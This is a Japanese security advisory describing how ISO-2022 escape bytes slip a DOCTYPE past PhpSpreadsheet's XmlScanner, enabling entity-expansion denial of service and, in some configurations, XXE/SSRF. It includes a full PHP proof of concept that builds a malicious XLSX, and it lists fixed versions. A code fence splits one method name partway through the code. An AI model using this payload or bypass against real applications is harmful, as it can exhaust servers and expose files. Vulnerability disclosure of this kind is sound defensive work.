PhpSpreadsheet: ISO-2022エスケープシーケンスを利用したXmlScannerの回避により、XXE攻撃やサービス拒否(DoS)が可能になる

### 概要
PhpSpreadsheetの`XmlScanner::scan()`は、`<!DOCTYPE`を検出する際に、NULLバイト(0x00)が挿入されている場合にのみ対応する正規表現パターンを使用しています。`<!DOCTYPE`の文字の間にISO-2022エスケープシーケンス(0x1Bバイト)が挿入されると、正規表現の一致が完全に破綻し、エンティティ定義を含むDOCTYPE宣言が検知されずに通過してしまいます。これにより、**すべてのPHPバージョン**でエンティティの二乗爆発によるサービス拒否攻撃が可能になり、PHP < 8.0の場合、または`LIBXML_NOENT`が使用されている場合は、XXE/SSRF攻撃も可能です。PhpSpreadsheetを使用して、ユーザーがアップロードしたXLSXファイルを処理するアプリケーションはすべて影響を受けます。

### 詳細
この脆弱性は、`src/PhpSpreadsheet/Reader/Security/XmlScanner.php`の`scan()`メソッドの87行から100行に存在します。

スキャナは、`/\0*<\0*!\0*D\0*O\0*C\0*T\0*Y\0*P\0*E\0*/`という正規表現パターンを構築しますが、これはNULLバイトの挿入のみを処理します。`<!DOCTYPE`の各文字の間に挿入されたISO-2022エスケープシーケンス(例:ISO-2022-JPの場合、`0x1B 0x28 0x42`)は、正規表現がオプションの`\0`のみを想定しているため、一致を妨げます。

XLSXリーダーは、ZIPアーカイブからXML部分を抽出し、`simplexml_load_string()`の前に、各部分を`XmlScanner::scan()`に渡します。XMLパーサは、文字セットの正規化中にESCバイトを削除するため、有効な`<!DOCTYPE`宣言が生成されますが、スキャナはこれを検知できません。

以下の7つのISO-2022エンコーディングのバリエーションが、このスキャナを回避します。
- ISO-2022-JP (`ESC ( B`)
- ISO-2022-JP-2 (`ESC $ B`)
- ISO-2022-KR (`ESC $ ) C`)
- ISO-2022-CN (`ESC $ ) A`)
- ISO-2022-CN-EXT (`ESC $ ) G`)
- ISO-2022-JP-2004 (`ESC $ ( Q`)
- ISO-2022-JP-MS (`ESC & @ ESC $ B`)

libxml2 2.9以降のデフォルト設定では、内部エンティティの展開(二乗爆発)は**ブロックされません**。そのため、これはすべての最新のPHPバージョンで直接的にサービス拒否攻撃に利用可能です。

### PoC(概念実証)

以下の内容を`poc_iso2022.php`という名前で保存し、ComposerでPhpSpreadsheetがインストールされているディレクトリに配置します。

```php
<?php
require 'vendor/autoload.php';

// ESC (B = ISO-2022-JP エスケープシーケンス (ASCII への切り替え))
$esc = "\x1b\x28\x42";

// ESC バイトを各文字の間に挿入して、<!DOCTYPE を構築
$doctype = "<".$esc."!".$esc."D".$esc."O".$esc."C".$esc."T".$esc."Y".$esc."P".$esc."E";

// DoS 攻撃を目的とした内部エンティティ (すべての PHP バージョンで動作)
$entity_value = str_repeat('A', 100000);
$refs = str_repeat('&big;', 200);

$shared_strings = '<?xml version="1.0" encoding="UTF-8"?>' . "\n"
. $doctype . ' sst [' . "\n"
. ' <!ENTITY big "' . $entity_value . '">' . "\n"
. ']>' . "\n"
. '<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="1" uniqueCount="1">'
. '<si><t>' . $refs . '</t></si></sst>';

// 最小限のXLSXファイルを作成
$xlsx = new ZipArchive();
$xlsx->open('poc.xlsx', ZipArchive::CREATE | ZipArchive::OVERWRITE);
$xlsx->addFromString('[Content_Types].xml',
'<?xml version="1.0"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">'
.'<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>'
.'<Default Extension="xml" ContentType="application/xml"/>'
.'<Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/>'
.'<Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/>'
.'<Override PartName="/xl/sharedStrings.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sharedStrings+xml"/>'
.'</Types>');
$xlsx->addFromString('_rels/.rels',
'<?xml version="1.0"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">'
.'<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/>'
.'</Relationships>');
$xlsx->addFromString('xl/workbook.xml',
'<?xml version="1.0"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">'
.'<sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets></workbook>');
$xlsx->addFromString('xl/_rels/workbook.xml.rels',
'<?xml version="1.0"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">'
.'<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/>'
.'<Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/sharedStrings" Target="sharedStrings.xml"/>'
.'</Relationships>');
$xlsx->a

```
ddFromString('xl/worksheets/sheet1.xml',
'<?xml version="1.0"?><worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">'
.'<sheetData><row r="1"><c r="A1" t="s"><v>0</v></c></row></sheetData></worksheet>');
$xlsx->addFromString('xl/sharedStrings.xml', $shared_strings);
$xlsx->close();

echo "XLSXのサイズ: " . filesize('poc.xlsx') . " バイト\n";

// PhpSpreadsheetで読み込み
$mem_before = memory_get_usage(true);
$reader = new \PhpOffice\PhpSpreadsheet\Reader\Xlsx();
$reader->setReadDataOnly(true);
$spreadsheet = $reader->load('poc.xlsx');
$peak = memory_get_peak_usage(true);

echo "ピークメモリ使用量: " . round($peak / 1024 / 1024, 1) . " MB\n";

$val = $spreadsheet->getActiveSheet()->getCell('A1')->getValue();
echo "セルA1の長さ: " . strlen($val) . " バイト\n";
echo "エンティティの展開: " . (strlen($val) > 10000 ? "確認済み" : "検出されず") . "\n";
```

実行: `php -d memory_limit=512M poc_iso2022.php`

**期待される結果:** スキャナはDOCTYPEを検出しない。XLSXは正常に読み込まれる。内部エンティティが展開され、約45MBのメモリを消費する(ファイルサイズは約2KB)。

**テスト環境:** PhpSpreadsheet 5.9.0, PHP 8.5.3, libxml2 2.9.13.

### 影響

| 攻撃 | PHP < 8.0 / libxml2 < 2.9 | PHP 8.x / libxml2 2.9+ |
|--------|---------------------------|------------------------|
| サービス拒否 (二次的な増加) | **脆弱性あり** | **脆弱性あり** |
| SYSTEMエンティティによるローカルファイル読み込み | **脆弱性あり** | デフォルトでブロック |
| SYSTEMエンティティによるSSRF | **脆弱性あり** | デフォルトでブロック |
| LIBXML_NOENTを使用した場合のファイル読み込み | **脆弱性あり** | **脆弱性あり** |

ユーザーがアップロードしたXLSXファイルを処理するためにPhpSpreadsheetを使用するアプリケーションは、すべて脆弱である可能性があります。DoS攻撃の影響が最も深刻であり、特別なPHPの設定を必要とせず、すべてのサポートされているPHPバージョンで機能します。2KBのXLSXファイルが45MBのピークメモリ使用量を引き起こします(22,000:1の増幅比)。複数の同時アップロードにより、サーバーのメモリが枯渇する可能性があります。

影響を受けるパッケージ:
- Composer (PHP) phpoffice/phpspreadsheet: 影響を受けるバージョンは 4.0.0 以降、5.9.0 以下。修正は 5.10.0 で行われました。
- Composer (PHP) phpoffice/phpspreadsheet: 影響を受けるバージョンは 3.3.0 以降、3.10.7 以下。修正は 3.10.8 で行われました。
- Composer (PHP) phpoffice/phpspreadsheet: 影響を受けるバージョンは 2.2.0 以降、2.4.7 以下。修正は 2.4.8 で行われました。
- Composer (PHP) phpoffice/phpspreadsheet: 影響を受けるバージョンは 2.0.0 以降、2.1.18 以下。修正は 2.1.19 で行われました。
- Composer (PHP) phpoffice/phpspreadsheet: 影響を受けるバージョンは 1.30.6 以下。修正は 1.30.7 で行われました。